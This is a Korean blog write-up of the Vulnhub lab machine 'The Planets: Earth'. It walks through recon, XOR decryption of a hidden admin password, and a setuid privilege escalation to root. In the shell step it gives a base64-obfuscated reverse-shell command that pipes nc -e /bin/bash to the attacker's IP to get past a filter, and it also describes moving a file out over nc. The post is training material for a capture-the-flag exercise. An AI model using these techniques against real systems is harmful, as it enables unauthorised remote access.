THE PLANETS: EARTH
1. Target IP 확인
- 192.168.50.50은 Kali(공격자) IP로 Target IP는 192.168.50.52 확인
2. Target에 대한 정보 수집
- 서버 정보: 리눅스
- Port 정보: 22(ssh), 80(http), 443(https)
3. SSH 접근
- 크래킹 툴 hydra를 사용하여 ssh brute force 계정 탈취 시도
- 적절한 user 목록과 password 목록이 필요 / 생각보다 많은 시간이 소요될 수 있음
* -l 옵션은 user 정의(단일 user 또는 목록 파일)
* -P 옵션은 password 정의(단일 password 또는 목록 파일)
* -u 옵션은 loop around users, not passwords (사용자 목록 기준으로 대입한다는 건가..? 여튼 효과적이라고 함)
- 유효한 계정 확인되지 않음
4. HTTP / HTTPS 접근
- 400 Error 및 기본 페이지 확인
5. 인증서 정보 확인
- SSL 인증서의 DNS 정보에서 earth.local 및 terratest.earth.local 확인됨
6. 도메인 접근
- 도메인 접근과 IP 접근은 응답이 달라질 수 있으니 DNS 설정 후 도메인 접근 시도
- 도메인 정보 추가 위해 /etc/hosts 파일에 IP, 도메인 정보 입력
- 도메인 접근 시 달라진 응답 확인됨
1) earth.local
- 해당 페이지에는 지구로 메시지를 보내는 Form과 이전에 보냈던 메세지(암호문 추정) 존재
2) terratest.earth.local
- http로 접근 시, earth.local과 동일한 페이지 확인되며 https 접근은 아래와 같음
7. 하위 디렉터리 검색
- dirb 툴을 통한 하위 디렉터리 검색
1) earth.local
- 하위 디렉터리 admin, cgi-bin 확인
- admin 페이지 접근 시, 로그인이 안되었다며 로그인 페이지로 유도
=> Sqlmap 툴을 사용하여 테스트했으나 DB 정보 획득 실패
2) terratest.earth.local
- 하위 디렉터리 cgi-bin 및 하위 파일 robots.txt 확인
- robots.txt 파일에서 추가 파일 경로 확인
- testingnotes.txt 파일 확인
* XOR 암호화 알고리즘 사용
* testdata.txt 파일 존재 및 암호화 키로 사용됨
* 관리자 계정은 terra
- testdata.txt 파일은 지구에 대한 내용으로 암호화 키로 추정
- testdata.txt를 key 값으로 earth.local 메인 페이지 아래에 있던 문자열을 복호화하면 문자열이 나온다.
* 복호화는 "https://gchq.github.io/CyberChef"에서 수행
* 복호화를 하면 특정 문자열이 반복
* 메인 페이지 내 다른 2개 문자열을 복호화하면 의미없는 값이 나온다
8. 사용자 로그인
- 로그인 성공
- 플래그 탐색 및 획득
=> 사용자 FLAG 겟!
9. 타겟 시스템 쉘 획득 시도
- 웹쉘도 좋지만, NC를 통한 리버스 쉘 획득 시도
- 칼리에서 먼저 nc 접근에 대해 listen 설정
* l 옵션은 Port listen 모드
* v 옵션은 더 자세한 정보 획득
* n 옵션은 IP 주소를 사용한 접근(DNS 미사용)
* p 옵션은 port지정
- 타겟 시스템에서 칼리로 nc를 통해 접근 시도
* e 옵션은 쉘 지정
=> 원격 접근이 허용되지 않았다는 안내와 함께 원격 접속 실패
- 시스템 우회를 위해 base64 인코딩하여 접근 시도
* 허용되지 않았던 명령어를 base64 인코딩
* echo 'bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTAuNTAgOTk5OQo=' | base64 -d | bash 명령어 수행
* base64 -d는 옵션은 디코딩 의미
* 리버스 쉘 획득 확인
10. 권한 상승 시도
- 현재 획득한 권한은 apache 권한으로 제한적이라 root 권한 획득을 위해 setuid 설정 탐색
- 처음보는 reset_root 명렁어 확인
* perm 옵션은 find 명령어 사용 중 권한에 대해 필터링
- reset_root 파일은 실행 파일로 확인됨
- reset_root 명령어를 실행했으나 정상적으로 동작하지 않음
11. 파일 전송
- cat 명령어를 통해 해당 파일을 읽어보면 난독화된 것처럼 읽을 수 없음
- reset_root 파일을 분석하기 위해 kali로 전송
- 먼저, 칼리에서 7777 port를 여는데 출력값은 파일로 생성하도록 > 사용
- 타겟 시스템에서 cat을 통해 해당 파일을 읽고 출력값을 칼리로 전송
- kali에 저장 완료
12. 파일 분석
- 분석 전에 실행 권한 부여
- ltrace 명령어를 통해 파일 디버깅 진행
* ltrace는 APP이 실행되며 호출하는 라이브러리를 추적하는 리눅스의 디버깅 유틸리티
- reset_root 파일이 동작하기 위해 필요한 파일이 나타남
- 리버스 쉘을 통해 해당 파일 생성
13. root 계정 탈취
- root 패스워드 초기화
- root 계정으로 로그인 성공
- root 플래그 습득
=> USER FLAG, ROOT FLAG 모두 클리어!
만약 타겟 웹서버가 내부 자산이라면 어떻게 보호할까?
1) 허용된 사용자만 접근할 수 있도록 admin 페이지 접근 제어
2) 웹 사이트 내 웹쉘 제거
3) 하위 디렉터리 스캔을 탐지할 수 있는 접근 패턴 생성(admin 페이지, login 페이지 접근 등)
4) robot.txt 파일 점검
5) 추가로 ssh port 점검
[웹서버 설정 생각해보기]
- 웹서버에서 IP로 접근 시 차단 or 리다이렉트하는 방법
- 80 porr는 동일한 페이지로 접근 되는데 443 port는 다른 페이지로 접근 되는 것
'보안 CTF > Vulnhub' 카테고리의 다른 글
NAPPING: 1.0.1 (0) | 2023.04.12 |
---|---|
EMPIRE: BREAKOUT (0) | 2023.04.03 |
EMPIRE: LUPINONE (0) | 2023.03.29 |
JANGOW: 1.0.1 (0) | 2023.03.22 |
Web-Machine-N7 (0) | 2023.03.08 |